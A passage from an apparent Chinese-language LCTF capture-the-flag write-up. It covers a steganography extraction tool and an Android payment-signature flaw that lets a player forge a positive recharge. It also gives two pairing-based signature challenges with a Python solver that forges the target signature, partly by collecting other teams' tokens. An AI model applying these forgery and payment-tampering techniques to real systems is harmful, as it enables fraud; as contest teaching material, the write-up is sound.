out += data;
buf[read++] = out;
}
}
if ( read != size ) {
fatalerror("Wrong size");
}
}
bool is_valid_image_path(char *path) {
int l = strlen(path);
return strcmp(path + l - 4, ".bmp") == 0 ||
strcmp(path + l - 4, ".png") == 0;
}
void hide_data(char* inimg, char* indata, char* outimg) {
if ( !is_valid_image_path(outimg) ) {
fatalerror("Output path must be either have .png or .bmp as extension.");
}
Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR);
if ( ! img.data ) {
fatalerror("Could not load image. Please check path.");
}
info("Loaded image");
ifstream fin(indata, ios_base::binary);
if ( ! fin.good() ) {
fatalerror("Could not read data from file. Please check path.");
}
char_traits<char>::pos_type fstart = fin.tellg();
fin.seekg(0, ios_base::end);
long int fsize = (long int) (fin.tellg() - fstart);
fin.seekg(0, ios_base::beg);
char *buf = new char[fsize + 16];
memcpy(buf, "BUSYSTEG", 8);
memcpy(buf + 8, &fsize, 8);
fin.read(buf + 16, fsize);
fin.close();
info("Read data");
vector<Energy> pts = energy_order(img);
info("Found energy ordering");
write_into(img, pts, buf, fsize + 16);
info("Updated pixel values");
imwrite(outimg, img);
info("Finished writing image");
delete[] buf;
}
void extract_data(char *inimg, char* outdata) {
Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR);
if ( ! img.data ) {
fatalerror("Could not load image. Please check path.");
}
info("Loaded image");
vector<Energy> pts = energy_order(img);
info("Found energy ordering");
char header[16];
read_from(img, pts, header, 16);
if ( memcmp(header, "BUSYSTEG", 8) != 0 ) {
fatalerror("Not a busysteg encoded image");
}
long int fsize;
memcpy(&fsize, header+8, 8);
info("Found data length");
char *buf = new char[fsize + 16];
read_from(img, pts, buf, fsize + 16);
info("Loaded data from pixels");
ofstream fout(outdata, ios_base::binary);
fout.write(buf + 16, fsize);
fout.close();
info("Finished writing data");
delete [] buf;
}

CMakeLists.txt:

1
2
3
4
5
cmake_minimum_required(VERSION 2.8)
project( busysteg )
find_package( OpenCV REQUIRED )
add_executable( busysteg busysteg )
target_link_libraries( busysteg ${OpenCV_LIBS} )

使用cmake编译,运行即可得flag:

1
2
3
4
5
6
7
8
9
$ ./busySteg x final.png out
[+] Loaded image
[+] Calculated energies
[+] Found energy ordering
[+] Found data length
[+] Loaded data from pixels
[+] Finished writing data
$ cat out
lctf{4a7cb5e3c532f01c45e4213804ff1704}

Android

最简单

env

1. teamtoken,message,金额
2. 每队初始金钱1k

思路

1. 无加固,只有JNI_OnLoad函数里对APK签名做了验证,修改之后调试即可;
2. 先submit做请求,然后pay进行支付;
3. 首先encode得到teamtoken,实际上就是做了一次md5;
4. 客户端先传参数到server,然后server sign=md5传回。split处理服务器传回的sign过的params string(message=xxx&order=x&teamtoken=xxx&sign=xxx)
5. app再次求md5,得到signagain post到server,server验证sign和sianagain是否相同。

漏洞点

1. 取变量值是直接取split之后vector的固定位置,造成覆盖;
2. server第二次checksign未check金额是否为正,因此此时可以修改post参数值进行充值;(需要覆盖sign值,自己md5求sign进行篡改。)

Crypto

写在前面

双线性对

两道题目中没有用到双线性对其他复杂的性质与困难问题,只用到了最基本的一条性质:

e(g^a, h^b) == e(g, h)^(a*b)

Charm

看到许多人卡在安装charm上,略有些惊讶……

1
pip install charm-crypto

如果没有安装依赖,是无法直接用pip安装charm的。 charm的文档中描述了charm的依赖包,以及如何手动编译安装。

官方文档

crypto1

0X00. 题目原文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3
from charm.toolbox.pairinggroup import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request
logo = """
_| _|_|_| _|_|_|_|_| _|_|_|_|
_| _| _| _|
_| _| _| _|_|_|
_| _| _| _|
_|_|_|_| _|_|_| _| _|
_|_| _| _| _|_|_|_|_|
_| _| _| _| _|_| _|
_| _| _| _| _|
_| _| _| _| _|
_|_|_|_| _| _| _|
"""
def sign(message, G, k, g, h, S):
d = ***************************************
message = bytes(message, 'UTF-8')
message = bytes_to_long(message)
if message == 0:
message = G.random(ZR)
mid = S**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)
P = G.pair_prod(g**mid, h**(message + d*k))
return G.serialize(P)
def check_token(token, name):
url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
req = request.Request(url=url)
try:
res = request.urlopen(req)
if res.code == 200:
return True
except :
pass
return False
def main():
print(logo)
S = ************************************************
R0 = ***********************************************
R1 = ************************************************
R2 = ***********************************************
S1 = S + R0
S2 = S + R0*2
G = PairingGroup('SS512')
g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
g = G.deserialize(g)
h = G.deserialize(h)
token_str = input("token:>>")
name = input("team name:>>")
if not check_token(token_str, name):
return 0
else:
try:
token = bytes(token_str,'UTF-8')
token = bytes_to_long(token)
except :
return 0
if token%2 ==1:
point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))
S = G.pair_prod(g,h)**S
k = G.serialize(S)
k = bytes_to_long(k)
message = input('message to sign:>>')
if "show me flag" in message:
return 0
else:
signed = sign(message, G, k, g, h, S)
print(signed)
signed_from_challenger = input('sign of "show me flag":>>')
if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
with open('./flag') as target:
print(target.read())
if __name__ == '__main__':
main()

0X01. 思路

  • 从下往上找可以看到,想要获得flag就需要提供sign(‘show me flag’, …)。
  • 再往上看,这个服务能提供所有不包含’show me flag’子串的字符串M对应的sign(M)。显然这里是一个选择明文攻击(CPA)。
  • 检查函数sign,发现sign中未引入随机量,据此判断sign没有CPA安全性。
  • 分析sign,在选择明文攻击中攻破sign。

0x02. 攻破sign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def sign(message, G, k, g, h, S):
d = ************************************************
message = bytes(message, 'UTF-8')
message = bytes_to_long(message)
if message == 0:
message = G.random(ZR)
mid = S**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)
P = G.pair_prod(g**mid, h**(message + d*k))
return G.serialize(P)

读读sign,发现这是对ECDSA的拙劣模仿。

sign(M, …)返回的结果是这样的:

e(g^(S^k), h^(M + d*k))

其中,S, k, d 三个值现在都不知道;g, h 已知;M可以自由控制但是不能为空,也不能包含子串’show me flag’。

化简一下sign(M, …)返回的结果:

e(g, h) ^ (S^k M + S^k d * k)

一个直观的思路

  • 选择M1, M2,保证 bytes_to_long(M1) - bytes_to_long(M2) = t,t为任意常数
  • 请求 s1 = sign(M1, …) ; s2 = sign(M2, …)
  • 选择 M’,保证 bytes_to_long(M’) + k = bytes_to_long(‘show me flag’)
  • 请求 s’ = sign(M’, …)
  • 计算:
1
2
3
4
5
6
s = s' * (s1 / s2)
= (e(g, h) ^ (S^k * M' + S^k * d * k)) * ((e(g, h) ^ (S^k * M1 + S^k * d * k)) / (e(g, h) ^ (S^k * M2 + S^k * d * k)))
= e(g, h) ^ (S^k * (M' + M1 - M2) + S^k * d * k)
= e(g, h) ^ (S^k * (M' + k) + S^k * d * k)
= e(g, h) ^ (S^k * M + S^k * d * k)
= sign('show me flag', ...)

至此crypto1的解计算完成。提交时看看题目给出代码中的判断部分注意提交格式。

crypto2

0X00. 题目原文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
from charm.toolbox.pairinggroup import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request
logo = """
_| _|_|_| _|_|_|_|_| _|_|_|_|
_| _| _| _|
_| _| _| _|_|_|
_| _| _| _|
_|_|_|_| _|_|_| _| _|
_|_| _| _| _|_|_|_|_|
_| _| _| _| _|_| _|
_| _| _| _| _|
_| _| _| _| _|
_|_|_|_| _| _| _|
"""
def sign(message, G, k, g, h, S):
d = ********************************************
message = bytes(message, 'UTF-8')
message = bytes_to_long(message)
if message == 0:
message = G.random(ZR)
mid = S**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)
P = G.pair_prod(g**mid, h**(message + d*k))
return G.serialize(P)
def check_token(token, name):
url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
req = request.Request(url=url)
try:
res = request.urlopen(req)
if res.code == 200:
return True
except :
pass
return False
def main():
print(logo)
S = ***********************************************
R0 = ************************************************
R1 = ************************************************
R2 = ************************************************
S1 = S + R0
S2 = S + R0*2
G = PairingGroup('SS512')
g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
g = G.deserialize(g)
h = G.deserialize(h)
token_str = input("token:>>")
name = input("team name:>>")
if not check_token(token_str, name):
return 0
else:
try:
token = bytes(token_str,'UTF-8')
token = bytes_to_long(token)
except :
return 0
if token%2 ==1:
point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))
S = G.pair_prod(g,h)**S
k = G.serialize(S)
k = bytes_to_long(k)
message = 'abcd'
signed = sign(message, G, k, g, h, S)
print('signed of "abcd":>>', signed)
signed_from_challenger = input('sign of "show me flag":>>')
if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
with open('./flag2') as target:
print(target.read())
if __name__ == '__main__':
main()

0X01. 思路

比赛结束前三小时crypto2放出了hint:“这不止是一道crypto题目,它还是一道……”

两道题目只有几行代码不同,crypto2中不允许用户提交自己的字符串。只会返回sign(‘abcd’, …)。无法选择明文了,允许输入的地方只有三个:token,队名,和最后的变量 signed_from_challenger。其中‘队名’这个变量是打酱油的,丝毫用处都没有。(此处偷偷谴责一下写token校验api的兄台 :-P)

读完代码后应该可以意识到crypto2里sign函数也几乎是打酱油的,全程只有可能执行sign(‘abcd’)与sign(‘show me flag’)。

那么问题肯定出在前面那一坨代码上了。

读一下前面的代码,意识到前面的代码其实是在双线性对映射出的那个群中一点e(g, h)的指数上实现了一个两层递归的 shamir门限方案。这个shamir树型结构也是CP-ABE(Cipher Policy - Attributes Based Encryption)的基础结构。

图示:

shamir递归树

题目中如下代码实现了这颗树。

1
2
3
4
5
if token%2 ==1:
point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))

在实际代码中,奇数选手将得到 e(g, h)^(tokenR1 + S1);偶数选手将得到 e(g, h)^(tokenR2 + S2)。从更靠前的代码可以看到S1,S2的来源:已知S1,S2时,它们组成了一个简单的二元一次方程组。如果想要恢复出sign函数输入中的S和k,就需要先拿到S,或者拿到S的一些特征,比如说e(g, h)^S。

1
2
S1 = S + R0
S2 = S + R0*2

对于S,如果只知道S1,或者只知道S2,是无法解出S的。毕竟“K元一次方程需要至少K个一组才可能有解,否则一定有无穷多解”。

对于选手能直接得到的 e(g, h)^(token*R1 + S1) ,有两个未知量R1,S1,在只有一个token时也是有无穷多解的。因此需要两个奇数token,两个偶数token才有可能恢复出S(这里对应给出的hint:它不只是一道crypto题目,它还是一道社工题)。在实际操作中,我们只能恢复到e(g, h)^S,不过这已经足够我们求出’show me flag’的sign啦。

因为我们只能得到’abcd’的sign,即 e(g^(S^k), h^(‘abcd’ + d*k))
(注:此处代码前,S被赋值成了e(g, h)^S,详情见题目原文)
在我们能得到S = e(g, h)^S,且可以根据S求得k时,我们就可以给任意消息做签名了。

0X02. writeUp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from charm.toolbox.pairinggroup import *
from Crypto.Util.number import bytes_to_long, inverse
def main():
G = PairingGroup('SS512')
g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
# 4 different token. 2 even 2 odd
t1 = bytes_to_long(b'4795968fe0bf73a1e39e6fec844dee01')
S1 = b'3:cOlYveeItjU4ZHh8B58RjWUYJwdtFi/FXzqtd2GnnqEMJ9AFKzNjV90eUoPDLkinkWsdmbYTJxFTq5bvucwVHE98Uvw2laNvrsCFY9Mw766YdEPAtj7smBt/tIDl+u1mORufxZX8Q31F3dJjnzEoYhlxRZ9e9JFVtK7nW2Di6Iw='
t2 = bytes_to_long(b'f11ca9db1f547b71a1b9592659553814')
S2 = b'3:NjqqiCxaQtlFS1FEsSD+jmuO9Z0srysMi4K1nVCg2yAxJRjX62PPMSbY5JAa+Y4Ap25p9+u1EZ05f1RSwOXyZiIAZoDoS0crKDHRLJtE40aswcnPaf1JklMGBOGLdBUOZ3+nknLRDLACyBFnTW8y6FnHzLICGruBHisLhschvHM='
t3 = bytes_to_long(b'97fddec1d9e630075803fc67d4220b05')
S3 = b'3:GYcIbust8E1tcYZghIgC4x6YhrAyJUvy0lHHUxfvIOD7S/ann03RFrhO4qKb0jQ4vcU7pHJPv9Q+WDDPV/mAcH224dIfSyGcv91adl0tuhS6z0Fr4tBz03YUFUcGvAvi7bHvjnywwAjkTe1ZmMybyUnc9bMTPUxIZ3kli2b3PRs='
t4 = bytes_to_long(b'adafcd958bbe176dd9cc96ef3aaa6438')
S4 = b'3:R7Zhznj9aRtEv9ifZfLf9aqt4PSZzrMCSXuxkwZDdLEC2pqRPC1dWtP41BLR0UbbZVbTyOuojif9HYVuDu7oFSMTtj3zUxwXUW2x5sCYnkY3MOhSKM9JJxzAktSF0H2rIVvw4iBhQoh6Ecy3qRYfjZSha4Bc729DXHbYx0sMxd4='
# SS512's order. get from G.order()
order = 730750818665451621361119245571504901405976559617
#init
g = G.deserialize(g)
h = G.deserialize(h)
S1 = G.deserialize(S1)
S2 = G.deserialize(S2)
S3 = G.deserialize(S3)
S4 = G.deserialize(S4)
#compute x**S1
t_S1 = ((S1**t3)/(S3**t1))**inverse((t3-t1), G.order())
print(t_S1)
#compute x**S2
t_S2 = ((S2**t4)/(S4**t2))**inverse((t4-t2), G.order())
print(t_S2)
#compute x**S
t = (t_S1*t_S1)/t_S2
print(t)
#compute k
k = G.serialize(t)
k = bytes_to_long(k)
#compute mid
mid = t**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)
#compute sign
signed = b'3:loZKMHi9WWkS46zTQyidX5546U2Sg/JLnNi18X2KRklZdJSth4Kyj5FPg0J8sVpc9hyClgIo2P8xOGsRK6Zxc2AW6euFkyaOUWI9ZmYp2AhE0kcOypR4vASF9vWYtNqj0qlsExtMThSUtS53HYHCczbxcxA2Vcr/tkFagicyU30='
signed = G.deserialize(signed)
message = bytes_to_long(b'abcd')
signed = signed/(G.pair_prod(g, h)**(mid*message))
message = bytes_to_long(b'show me flag')
signed = signed*(G.pair_prod(g, h)**(mid*message))
print(str(G.serialize(signed)))
if __name__ == '__main__':
main()